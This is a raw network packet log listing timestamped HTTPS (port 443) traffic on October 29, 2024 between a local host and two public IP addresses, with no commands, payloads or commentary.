Oct 29, 2024 20:34:59.159876108 CET	49720	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.159907103 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.160337925 CET	49720	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.160648108 CET	49720	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.160664082 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.196666002 CET	49721	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.196716070 CET	443	49721	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.196919918 CET	49721	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.253827095 CET	49721	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.253853083 CET	443	49721	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.874783039 CET	443	49716	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.882308960 CET	443	49719	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.884387970 CET	443	49718	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.915970087 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.919033051 CET	49716	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.932574034 CET	49718	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.932584047 CET	49719	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.936691046 CET	49720	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.936734915 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.937345982 CET	49720	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.937354088 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.937628031 CET	49716	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.937637091 CET	443	49716	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.938004971 CET	49716	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.938010931 CET	443	49716	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.938436985 CET	49719	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.938448906 CET	443	49719	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.938829899 CET	49719	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.938834906 CET	443	49719	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.939132929 CET	49718	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.939137936 CET	443	49718	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:59.939584017 CET	49718	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:59.939589024 CET	443	49718	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.004682064 CET	443	49721	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.005333900 CET	49721	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.005357027 CET	443	49721	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.005954981 CET	49721	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.005959988 CET	443	49721	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.040653944 CET	443	49717	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.041531086 CET	49717	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.041559935 CET	443	49717	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.042608976 CET	443	49717	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.042678118 CET	49717	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.044442892 CET	49717	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.044514894 CET	443	49717	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.045145035 CET	49722	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.045190096 CET	443	49722	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.045250893 CET	49722	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.045464039 CET	49723	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.045543909 CET	443	49723	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.045633078 CET	49723	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.045746088 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.045790911 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.045845032 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.045881033 CET	49717	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.045897961 CET	443	49717	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.046132088 CET	49722	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.046144009 CET	443	49722	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.046390057 CET	49723	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.046418905 CET	443	49723	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.046560049 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.046571970 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.066405058 CET	443	49716	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.066576004 CET	443	49716	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.066633940 CET	49716	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.066936970 CET	49716	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.066956043 CET	443	49716	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.066977024 CET	49716	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.066982031 CET	443	49716	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.068054914 CET	443	49719	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.068124056 CET	443	49719	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.068171978 CET	49719	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.068258047 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.068399906 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.068470001 CET	49720	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.069358110 CET	49720	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.069375038 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.071456909 CET	49719	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.071480036 CET	443	49719	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.071491957 CET	49719	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.071500063 CET	443	49719	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.072540998 CET	443	49718	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.073312998 CET	443	49718	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.073376894 CET	49718	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.076260090 CET	49725	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.076304913 CET	443	49725	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.076384068 CET	49725	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.077931881 CET	49718	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.077949047 CET	443	49718	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.077960014 CET	49718	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.077965975 CET	443	49718	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.078033924 CET	49725	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.078051090 CET	443	49725	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.080816984 CET	49726	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.080842972 CET	443	49726	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.080895901 CET	49726	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.081486940 CET	49726	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.081499100 CET	443	49726	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.083265066 CET	49727	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.083291054 CET	443	49727	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.083372116 CET	49727	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.083473921 CET	49728	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.083479881 CET	443	49728	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.083523989 CET	49728	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.083743095 CET	49727	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.083750963 CET	443	49727	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.085541010 CET	49728	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.085552931 CET	443	49728	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.090059996 CET	49717	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.168163061 CET	443	49721	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.168529034 CET	443	49721	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.168894053 CET	49721	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.169949055 CET	49721	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.169949055 CET	49721	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.169970036 CET	443	49721	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.169980049 CET	443	49721	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.176894903 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.176953077 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.177316904 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.177539110 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.177555084 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.350789070 CET	443	49717	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.350934982 CET	443	49717	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.350985050 CET	49717	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.351011038 CET	443	49717	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.398160934 CET	49717	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.398176908 CET	443	49717	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.398458004 CET	49717	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.398538113 CET	443	49717	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.398715019 CET	49717	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.810249090 CET	443	49728	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.811203957 CET	49728	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.811225891 CET	443	49728	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.811779976 CET	49728	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.811784983 CET	443	49728	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.815999031 CET	443	49726	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.816395998 CET	49726	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.816432953 CET	443	49726	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.816817999 CET	49726	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.816824913 CET	443	49726	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.825725079 CET	443	49725	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.826117992 CET	49725	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.826131105 CET	443	49725	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.826512098 CET	49725	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.826517105 CET	443	49725	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.829482079 CET	443	49727	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.829826117 CET	49727	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.829839945 CET	443	49727	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.830209970 CET	49727	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.830215931 CET	443	49727	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.902884960 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.909960985 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.911518097 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.911535025 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.911550999 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.911623955 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.912061930 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.912079096 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.912641048 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.912704945 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.913136959 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.913204908 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.913301945 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.914551973 CET	443	49722	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.914757013 CET	49722	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.914782047 CET	443	49722	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.915127993 CET	443	49722	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.915421009 CET	49722	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.915488005 CET	443	49722	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.915519953 CET	49722	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.938929081 CET	443	49728	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.939095974 CET	443	49728	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.939214945 CET	49728	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.939244032 CET	49728	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.939268112 CET	443	49728	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.939279079 CET	49728	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.939285040 CET	443	49728	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.942518950 CET	49731	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.942564964 CET	443	49731	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.942652941 CET	49731	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.942826033 CET	49731	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.942841053 CET	443	49731	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.946257114 CET	443	49726	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.946410894 CET	443	49726	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.946461916 CET	49726	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.946489096 CET	49726	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.946501970 CET	443	49726	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.946511984 CET	49726	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.946516037 CET	443	49726	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.948599100 CET	49732	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.948635101 CET	443	49732	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.948710918 CET	49732	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.948889017 CET	49732	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.948901892 CET	443	49732	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.955332041 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.960490942 CET	49722	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.960515022 CET	443	49722	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.960515022 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.960534096 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.963937044 CET	443	49723	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.964158058 CET	49723	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.964190960 CET	443	49723	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.965238094 CET	443	49723	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.965374947 CET	49723	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.965598106 CET	49723	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:00.965655088 CET	443	49723	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:00.966485977 CET	443	49727	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.967571974 CET	443	49727	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.967627048 CET	49727	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.967660904 CET	49727	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.967670918 CET	443	49727	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.967690945 CET	49727	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.967694998 CET	443	49727	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.969811916 CET	49733	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.969860077 CET	443	49733	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:00.969930887 CET	49733	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.970062017 CET	49733	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:00.970077991 CET	443	49733	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.000154972 CET	443	49725	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.000343084 CET	443	49725	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.000606060 CET	49725	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.000606060 CET	49725	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.000606060 CET	49725	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.003343105 CET	49734	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.003384113 CET	443	49734	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.003477097 CET	49734	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.003694057 CET	49734	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.003707886 CET	443	49734	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.007363081 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.008404016 CET	49723	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.008441925 CET	443	49723	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.039257050 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.039372921 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.039546967 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.039546967 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.039634943 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.039671898 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.042071104 CET	49735	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.042120934 CET	443	49735	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.042359114 CET	49735	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.042359114 CET	49735	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.042396069 CET	443	49735	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.054394960 CET	49723	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.199594975 CET	443	49722	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.207844019 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.207890987 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.207926035 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.207968950 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.207969904 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.208018064 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.208039045 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.208300114 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.209567070 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.209575891 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.219393015 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.219491005 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.219501019 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.241791964 CET	49722	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.241820097 CET	443	49722	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.249620914 CET	49722	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.249731064 CET	443	49722	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.249802113 CET	49722	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.271986961 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.310224056 CET	49725	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.310282946 CET	443	49725	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.326905012 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.326987028 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.327033043 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.327048063 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.329129934 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.329169989 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.329180002 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.333931923 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.333998919 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.334009886 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.342653990 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.344002962 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.344016075 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.351528883 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.351588011 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.351597071 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.359872103 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.359931946 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.359941006 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.368931055 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.369007111 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.369015932 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.377024889 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.377091885 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.377099991 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.386089087 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.386176109 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.386185884 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.429337025 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.429364920 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.445647955 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.445688009 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.445709944 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.445724964 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.445760965 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.445768118 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.445806026 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.445875883 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.445883989 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.447776079 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.447844028 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.447866917 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.447877884 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.447916031 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.450553894 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.453768015 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.453813076 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.453829050 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.453838110 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.453872919 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.460551023 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.466705084 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.466752052 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.466799021 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.466811895 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.466846943 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.473263979 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.479394913 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.479451895 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.479458094 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.479490042 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.479537010 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.485186100 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.491041899 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.491106987 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.491106987 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.491127014 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.491257906 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.497340918 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.503454924 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.503506899 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.503519058 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.509574890 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.509682894 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.509716034 CET	49724	443	192.168.2.5	142.250.185.228
